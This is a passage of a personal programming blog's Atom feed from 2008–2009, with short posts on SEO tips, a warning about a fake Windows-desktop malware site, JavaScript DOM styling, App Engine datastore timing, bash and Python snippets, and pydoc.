 If the webpage is a true business, with a physical postal mailbox and business phone number, then definitely go through Google's registration process to associate a Google Maps address with the business name and webpage. Google sends an actual postcard to the address, someone fills the card out and sends back to Google. Google then can trust that (e.g.) Seattle-Best-Plumbing.com is   
for-real, and not some Russian spam dogshit website.
&lt;/li&gt;&lt;li&gt;
Long term residence on the web helps.
&lt;/li&gt;&lt;li&gt;
Dmoz.org seems to be unmaintained these days, but remember it is owned by Google. I got entered into its directory for categories 1) php developers and also 2) Seattle local interest. This gained my domain immense credibility in the search universe. 
&lt;/li&gt;&lt;li&gt;
I worked for Microsoft Search in its infancy (2004), as a contract engineer tracking down "spam" websites and helping those programming the search algorithms get the machine's capability closer to spotting the same spam. 
&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3267065216693921227?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3267065216693921227/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3267065216693921227' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3267065216693921227'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3267065216693921227'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/02/basics-of-what-i-recommend-for-seo.html' title='Basics of what I recommend for SEO'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-1397172507162879461</id><published>2009-01-07T10:49:00.000-08:00</published><updated>2009-01-07T10:51:35.047-08:00</updated><title type='text'>Amazing Windows GUI Emulation</title><content type='html'>&lt;p&gt;Warning: this site almost surely has evil virus things for Windows computers. Took the screenshot for record. They did an amazing job making it look like a real Windows environment.&lt;/p&gt;

&lt;a href="http://picasaweb.google.com/lh/photo/BjiFw01H0qcq2HWg9IXPMg?feat=embedwebsite"&gt;&lt;img src="http://lh6.ggpht.com/_UVcOtPszHkk/SWT42ib_ekI/AAAAAAAADEY/9QCa2q9cGo8/s800/scan4live_com.png" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-1397172507162879461?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/1397172507162879461/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=1397172507162879461' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1397172507162879461'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/1397172507162879461'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2009/01/amazing-windows-gui-emulation.html' title='Amazing Windows GUI Emulation'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_UVcOtPszHkk/SWT42ib_ekI/AAAAAAAADEY/9QCa2q9cGo8/s72-c/scan4live_com.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-7672694918568329161</id><published>2008-12-09T06:31:00.000-08:00</published><updated>2008-12-10T07:54:42.757-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='DOM'/><category scheme='http://www.blogger.com/atom/ns#' term='CSS'/><category scheme='http://www.blogger.com/atom/ns#' term='OO'/><title type='text'>Using OO Javascript to create DOM elements and CSS Style</title><content type='html'>&lt;p&gt;
A lot of javascript tricks use CSS classes to toggle graphic
properties, such as
.mygoldbackground { ... }
.mygreenbackground {...}
and the js resets the classname of the HTML element. This is fine for
most scenarios.
&lt;/p&gt;&lt;p&gt;
I am writing games where the CSS is much more dynamic, and I was
constantly having to edit the CSS to match up with the game board
layout
( for early prototype example of my players and game boards, see:
&lt;a href="http://my-toolbox.appspot.com/javascript.js?queryvalue=critters%201.2&amp;dbtab=show"&gt;http://my-toolbox.appspot.com/javascript.js?queryvalue=critters%201.2&amp;dbtab=show&lt;/a&gt;  )
&lt;/p&gt;&lt;p&gt;
So I am going to 1) create all game DOM elements with js 2) set all
game DOM CSS with js.
&lt;/p&gt;&lt;p&gt;
Here is the core toolset of code for doing that:
&lt;ul&gt;
&lt;li&gt;
&lt;a href="http://my-toolbox.appspot.com/javascript.js?queryvalue=javascript%20object%20oriented%20createElement%20cssText%20&amp;dbtab=show"&gt;
http://my-toolbox.appspot.com/javascript.js?queryvalue=javascript%20object%20oriented%20createElement%20cssText%20&amp;dbtab=show
&lt;/a&gt;
&lt;/li&gt;&lt;li&gt;
&lt;a href="http://my-toolbox.appspot.com/javascript.js?queryvalue=javascript%20object%20oriented%20DOM%20makebox&amp;dbtab=show"&gt;
http://my-toolbox.appspot.com/javascript.js?queryvalue=javascript%20object%20oriented%20DOM%20makebox&amp;dbtab=show
&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-7672694918568329161?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/7672694918568329161/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=7672694918568329161' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7672694918568329161'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/7672694918568329161'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/12/using-oo-javascript-to-create-dom.html' title='Using OO Javascript to create DOM elements and CSS Style'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-5972893349744490514</id><published>2008-10-23T04:07:00.000-07:00</published><updated>2008-10-23T04:16:58.891-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='GAE'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud'/><category scheme='http://www.blogger.com/atom/ns#' term='Google code'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><category scheme='http://www.blogger.com/atom/ns#' term='appspot'/><title type='text'>Documenting behavior of the Google Cloud</title><content type='html'>&lt;p class="geek"&gt;This is a non-dynamic webpage documenting the database object insert timing for the Google Gdata object.
I thought the randomness of insert completion of each node to be interesting and shows the "cloud" in action.
Note the python code at the bottom of this page (&lt;a href="#code"&gt;here&lt;/a&gt;). The "nodes" were executed 1...64 in the python script,
so it is easy to see where the cloud disengages from that linearity.
&lt;/p&gt;

&lt;ol&gt;

&lt;li class="geek"&gt;Node:1 Insert time:2008-10-23 10:56:23.353281&lt;/li&gt;   

&lt;li class="geek"&gt;Node:3 Insert time:2008-10-23 10:56:23.413692&lt;/li&gt;   

&lt;li class="geek"&gt;Node:5 Insert time:2008-10-23 10:56:23.477040&lt;/li&gt;   

&lt;li class="geek"&gt;Node:7 Insert time:2008-10-23 10:56:23.534829&lt;/li&gt;   

&lt;li class="geek"&gt;Node:10 Insert time:2008-10-23 10:56:23.624858&lt;/li&gt;   

&lt;li class="geek"&gt;Node:11 Insert time:2008-10-23 10:56:23.667277&lt;/li&gt;   

&lt;li class="geek"&gt;Node:13 Insert time:2008-10-23 10:56:23.725053&lt;/li&gt;   

&lt;li class="geek"&gt;Node:2 Insert time:2008-10-23 10:56:23.382015&lt;/li&gt;   

&lt;li class="geek"&gt;Node:4 Insert time:2008-10-23 10:56:23.443903&lt;/li&gt;   

&lt;li class="geek"&gt;Node:6 Insert time:2008-10-23 10:56:23.507742&lt;/li&gt;   

&lt;li class="geek"&gt;Node:8 Insert time:2008-10-23 10:56:23.562350&lt;/li&gt;   

&lt;li class="geek"&gt;Node:9 Insert time:2008-10-23 10:56:23.593376&lt;/li&gt;   

&lt;li class="geek"&gt;Node:12 Insert time:2008-10-23 10:56:23.697803&lt;/li&gt;   

&lt;li class="geek"&gt;Node:14 Insert time:2008-10-23 10:56:23.755138&lt;/li&gt;   

&lt;li class="geek"&gt;Node:16 Insert time:2008-10-23 10:56:23.843447&lt;/li&gt;   

&lt;li class="geek"&gt;Node:18 Insert time:2008-10-23 10:56:23.907231&lt;/li&gt;   

&lt;li class="geek"&gt;Node:20 Insert time:2008-10-23 10:56:23.965684&lt;/li&gt;   

&lt;li class="geek"&gt;Node:22 Insert time:2008-10-23 10:56:24.037075&lt;/li&gt;   

&lt;li class="geek"&gt;Node:24 Insert time:2008-10-23 10:56:24.100084&lt;/li&gt;   

&lt;li class="geek"&gt;Node:26 Insert time:2008-10-23 10:56:24.176800&lt;/li&gt;   

&lt;li class="geek"&gt;Node:28 Insert time:2008-10-23 10:56:24.236621&lt;/li&gt;   

&lt;li class="geek"&gt;Node:30 Insert time:2008-10-23 10:56:24.297839&lt;/li&gt;   

&lt;li class="geek"&gt;Node:32 Insert time:2008-10-23 10:56:24.362423&lt;/li&gt;   

&lt;li class="geek"&gt;Node:34 Insert time:2008-10-23 10:56:24.422469&lt;/li&gt;   

&lt;li class="geek"&gt;Node:36 Insert time:2008-10-23 10:56:24.477692&lt;/li&gt;   

&lt;li class="geek"&gt;Node:38 Insert time:2008-10-23 10:56:24.532586&lt;/li&gt;   

&lt;li class="geek"&gt;Node:40 Insert time:2008-10-23 10:56:24.589649&lt;/li&gt;   

&lt;li class="geek"&gt;Node:42 Insert time:2008-10-23 10:56:24.651617&lt;/li&gt;   

&lt;li class="geek"&gt;Node:44 Insert time:2008-10-23 10:56:24.716515&lt;/li&gt;   

&lt;li class="geek"&gt;Node:46 Insert time:2008-10-23 10:56:24.780054&lt;/li&gt;   

&lt;li class="geek"&gt;Node:50 Insert time:2008-10-23 10:56:24.916035&lt;/li&gt;   

&lt;li class="geek"&gt;Node:52 Insert time:2008-10-23 10:56:24.974097&lt;/li&gt;   

&lt;li class="geek"&gt;Node:54 Insert time:2008-10-23 10:56:25.034449&lt;/li&gt;   

&lt;li class="geek"&gt;Node:56 Insert time:2008-10-23 10:56:25.092311&lt;/li&gt;   

&lt;li class="geek"&gt;Node:59 Insert time:2008-10-23 10:56:25.192227&lt;/li&gt;   

&lt;li class="geek"&gt;Node:61 Insert time:2008-10-23 10:56:25.258557&lt;/li&gt;   

&lt;li class="geek"&gt;Node:63 Insert time:2008-10-23 10:56:25.326543&lt;/li&gt;   

&lt;li class="geek"&gt;Node:15 Insert time:2008-10-23 10:56:23.785200&lt;/li&gt;   

&lt;li class="geek"&gt;Node:17 Insert time:2008-10-23 10:56:23.875937&lt;/li&gt;   

&lt;li class="geek"&gt;Node:19 Insert time:2008-10-23 10:56:23.934721&lt;/li&gt;   

&lt;li class="geek"&gt;Node:21 Insert time:2008-10-23 10:56:24.003711&lt;/li&gt;   

&lt;li class="geek"&gt;Node:23 Insert time:2008-10-23 10:56:24.068636&lt;/li&gt;   

&lt;li class="geek"&gt;Node:25 Insert time:2008-10-23 10:56:24.131330&lt;/li&gt;   

&lt;li class="geek"&gt;Node:27 Insert time:2008-10-23 10:56:24.207301&lt;/li&gt;   

&lt;li class="geek"&gt;Node:29 Insert time:2008-10-23 10:56:24.268193&lt;/li&gt;   

&lt;li class="geek"&gt;Node:31 Insert time:2008-10-23 10:56:24.331993&lt;/li&gt;   

&lt;li class="geek"&gt;Node:33 Insert time:2008-10-23 10:56:24.394126&lt;/li&gt;   

&lt;li class="geek"&gt;Node:35 Insert time:2008-10-23 10:56:24.451277&lt;/li&gt;   

&lt;li class="geek"&gt;Node:37 Insert time:2008-10-23 10:56:24.504942&lt;/li&gt;   

&lt;li class="geek"&gt;Node:39 Insert time:2008-10-23 10:56:24.560311&lt;/li&gt;   

&lt;li class="geek"&gt;Node:41 Insert time:2008-10-23 10:56:24.621935&lt;/li&gt;   

&lt;li class="geek"&gt;Node:43 Insert time:2008-10-23 10:56:24.685583&lt;/li&gt;   

&lt;li class="geek"&gt;Node:45 Insert time:2008-10-23 10:56:24.752918&lt;/li&gt;   

&lt;li class="geek"&gt;Node:47 Insert time:2008-10-23 10:56:24.810532&lt;/li&gt;   

&lt;li class="geek"&gt;Node:48 Insert time:2008-10-23 10:56:24.851659&lt;/li&gt;   

&lt;li class="geek"&gt;Node:49 Insert time:2008-10-23 10:56:24.885912&lt;/li&gt;   

&lt;li class="geek"&gt;Node:51 Insert time:2008-10-23 10:56:24.945490&lt;/li&gt;   

&lt;li class="geek"&gt;Node:53 Insert time:2008-10-23 10:56:25.006673&lt;/li&gt;   

&lt;li class="geek"&gt;Node:55 Insert time:2008-10-23 10:56:25.062369&lt;/li&gt;   

&lt;li class="geek"&gt;Node:57 Insert time:2008-10-23 10:56:25.124670&lt;/li&gt;   

&lt;li class="geek"&gt;Node:58 Insert time:2008-10-23 10:56:25.157359&lt;/li&gt;   

&lt;li class="geek"&gt;Node:60 Insert time:2008-10-23 10:56:25.225718&lt;/li&gt;   

&lt;li class="geek"&gt;Node:62 Insert time:2008-10-23 10:56:25.293517&lt;/li&gt;   

&lt;li class="geek"&gt;Node:64 Insert time:2008-10-23 10:56:25.360900&lt;/li&gt;   

&lt;/ol&gt;
&lt;a name="code"&gt;&lt;/a&gt;
&lt;h5 class="geek"&gt;The insert db code:&lt;/h5&gt;
&lt;textarea cols="140" rows="25"&gt;
def makeWorldNode(mynode,mygroup):
    world = World(node=mynode,
                  group=mygroup)
    db.put(world)

def makeWorld(limit, group):
    mylimit = try2int(limit)
    mygroup = str(group)
    for node in range(1, mylimit):
 mynode = str(node)
 makeWorldNode(mynode,mygroup)

class Makeworld(webapp.RequestHandler):
 def get(self):  
     limit = 65
     group = "no_group"
     makeWorld(limit, group)
     query = db.Query(World)
     template_values = {'your_ip': your_ip, 'your_user_agent': your_user_agent, 'query': query}
     path = os.path.join(os.path.dirname(__file__), 'make.txt')
     self.response.out.write(template.render(path, template_values))
     
&lt;/textarea&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-5972893349744490514?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/5972893349744490514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=5972893349744490514' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/5972893349744490514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/5972893349744490514'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/10/documenting-behavior-of-google-cloud.html' title='Documenting behavior of the Google Cloud'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-8703665197256846743</id><published>2008-10-18T05:39:00.000-07:00</published><updated>2008-10-18T05:41:25.408-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='bash'/><category scheme='http://www.blogger.com/atom/ns#' term='for loops'/><title type='text'>Bash: Generate an HTML table</title><content type='html'>&lt;pre&gt;
#!/bin/bash
clear
typeset -i row col rows cols
let row=1 col=1 rows=10 cols=10

echo "&amp;#60;table&amp;#62;";
 while ((row&amp;#60;=rows)) ; do
          echo -n "&amp;#60;tr&amp;#62;"
          while ((col&amp;#60;=cols)) ; do
                echo -n "&amp;#60;td&amp;#62;";
                echo -n $col;
                echo -n "&amp;#60;/td&amp;#62;";
                let col++
               done
 let col=1
 echo "&amp;#60;/tr&amp;#62;";
 let row++
 done
echo "&amp;#60;/table&amp;#62;";
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-8703665197256846743?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/8703665197256846743/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=8703665197256846743' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8703665197256846743'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8703665197256846743'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/10/bash-generate-html-table.html' title='Bash: Generate an HTML table'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-8311423990585989982</id><published>2008-07-11T05:23:00.000-07:00</published><updated>2008-07-11T05:24:40.627-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='appspot'/><title type='text'>The App Engine Guy</title><content type='html'>&lt;p&gt;
File under &lt;i&gt;useful&lt;/i&gt;: &lt;a href="http://appengineguy.com/"&gt;appengineguy.com/&lt;/a&gt;

&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-8311423990585989982?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/8311423990585989982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=8311423990585989982' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8311423990585989982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8311423990585989982'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/07/app-engine-guy.html' title='The App Engine Guy'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-6485336200574023640</id><published>2008-06-16T04:23:00.000-07:00</published><updated>2008-06-16T04:32:18.433-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Integer division in Python 3.0</title><content type='html'>&lt;pre&gt;
&gt;python
Python 2.5.1 (r251:54863, Feb  4 2008, 21:48:13) 
[GCC 4.0.1 (Apple Inc. build 5465)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
&gt;&gt;&gt; 200/400
0
&gt;&gt;&gt; 200.0/400
0.5
&gt;&gt;&gt; from __future__ import division
&gt;&gt;&gt; 200/400
0.5
&gt;&gt;&gt; 200//400
0
&gt;&gt;&gt; print "In Python 3.0 200/400 will yield 0.5"
In Python 3.0 200/400 will yield 0.5
&gt;&gt;&gt; 
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-6485336200574023640?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/6485336200574023640/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=6485336200574023640' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6485336200574023640'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/6485336200574023640'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/06/integer-division-in-python-30.html' title='Integer division in Python 3.0'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-562042685463224258</id><published>2008-05-29T06:02:00.000-07:00</published><updated>2008-05-29T06:03:44.321-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Ajax'/><category scheme='http://www.blogger.com/atom/ns#' term='Google code'/><title type='text'>AJAX Libraries Hosted at Google</title><content type='html'>&lt;ul&gt;
&lt;li&gt;&lt;a href="http://code.google.com/apis/ajaxlibs/documentation/index.html"&gt;code.google.com/apis/ajaxlibs/documentation&lt;/a&gt;&lt;/li&gt;

&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-562042685463224258?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/562042685463224258/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=562042685463224258' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/562042685463224258'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/562042685463224258'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/05/ajax-libraries-hosted-at-google.html' title='AJAX Libraries Hosted at Google'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-3408010558615030615</id><published>2008-05-26T06:08:00.000-07:00</published><updated>2008-05-26T08:04:40.681-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='cognitive artifacts'/><title type='text'>Easy Access to Python</title><content type='html'>&lt;p&gt;Goal: Have methodology for quickly accessing anything about Python. While programming, do not have completed thought process without aid of computer stored information. &lt;/p&gt;

&lt;pre&gt;
&gt;pydoc -g
      |
      |
      +--+ opens Tkinter window
&lt;img src="http://lh3.ggpht.com/lancemiller777/SDq5StSew_I/AAAAAAAAB4Q/8F82OexZqOI/s288/Pydoc_Tkinter.jpg"&gt;&lt;/img&gt;
       |
       |
      +-+ open browser
            |
            |
            + Python: Index of Modules
&lt;/pre&gt;
&lt;a href="http://python.org/doc/2.5/lib/development.html"&gt;http://python.org/doc/2.5/lib/development.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-3408010558615030615?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/3408010558615030615/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=3408010558615030615' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3408010558615030615'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/3408010558615030615'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/05/easy-access-to-python.html' title='Easy Access to Python'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/lancemiller777/SDq5StSew_I/AAAAAAAAB4Q/8F82OexZqOI/s72-c/Pydoc_Tkinter.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-8077999031174534410</id><published>2008-05-24T06:58:00.000-07:00</published><updated>2008-05-24T07:03:59.332-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pydoc'/><title type='text'>A beautiful presentation of information</title><content type='html'>&lt;a href="http://epydoc.sourceforge.net/stdlib/httplib-module.html"&gt;epydoc.sourceforge.net/stdlib/httplib-module.html&lt;/a&gt;
&lt;pre&gt;
    (null)
      |
      | HTTPConnection()
      v
    Idle
      |
      | putrequest()
      v
    Request-started
      |
      | ( putheader() )*  endheaders()
      v
    Request-sent
      |
      | response = getresponse()
      v
    Unread-response   [Response-headers-read]
      |\____________________
      |                     |
      | response.read()     | putrequest()
      v                     v
    Idle                  Req-started-unread-response
                     ______/|
                   /        |
   response.read() |        | ( putheader() )*endheaders()
                   v        v
       Request-started    Req-sent-unread-response
                            |
                            | response.read()
                            v
                          Request-sent
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7093359319812998391-8077999031174534410?l=small-code.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://small-code.blogspot.com/feeds/8077999031174534410/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7093359319812998391&amp;postID=8077999031174534410' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8077999031174534410'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7093359319812998391/posts/default/8077999031174534410'/><link rel='alternate' type='text/html' href='http://small-code.blogspot.com/2008/05/beautiful-presentation-of-information.html' title='A beautiful presentation of information'/><author><name>LanceMiller</name><uri>http://www.blogger.com/profile/12967321155433918187</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://3.bp.blogspot.com/_UVcOtPszHkk/Sair8hbKfUI/AAAAAAAADMw/25mZFjvXEAc/S220/Lance.Tokyo.Flight.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7093359319812998391.post-4742159287475289554</id><published>2008-05-23T05:02:00.000-07:00</published><updated>2008-05-23T05:14:03.315-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='nslookup'/><title type='text'>NSLOOKUP in Python</title><content type='html'>&lt;pre&gt;
from socket import gethostbyaddr 

def nslooky(ip):
      try: 
           output = gethostbyaddr(ip)
           return output[0]
     except: 
           output = "not found" 
           return output

 your_ip = request.META.get('REMOTE_ADDR') 
# above is Django module object
 your_name = nslooky(your_ip)
&lt;/pre&gt;
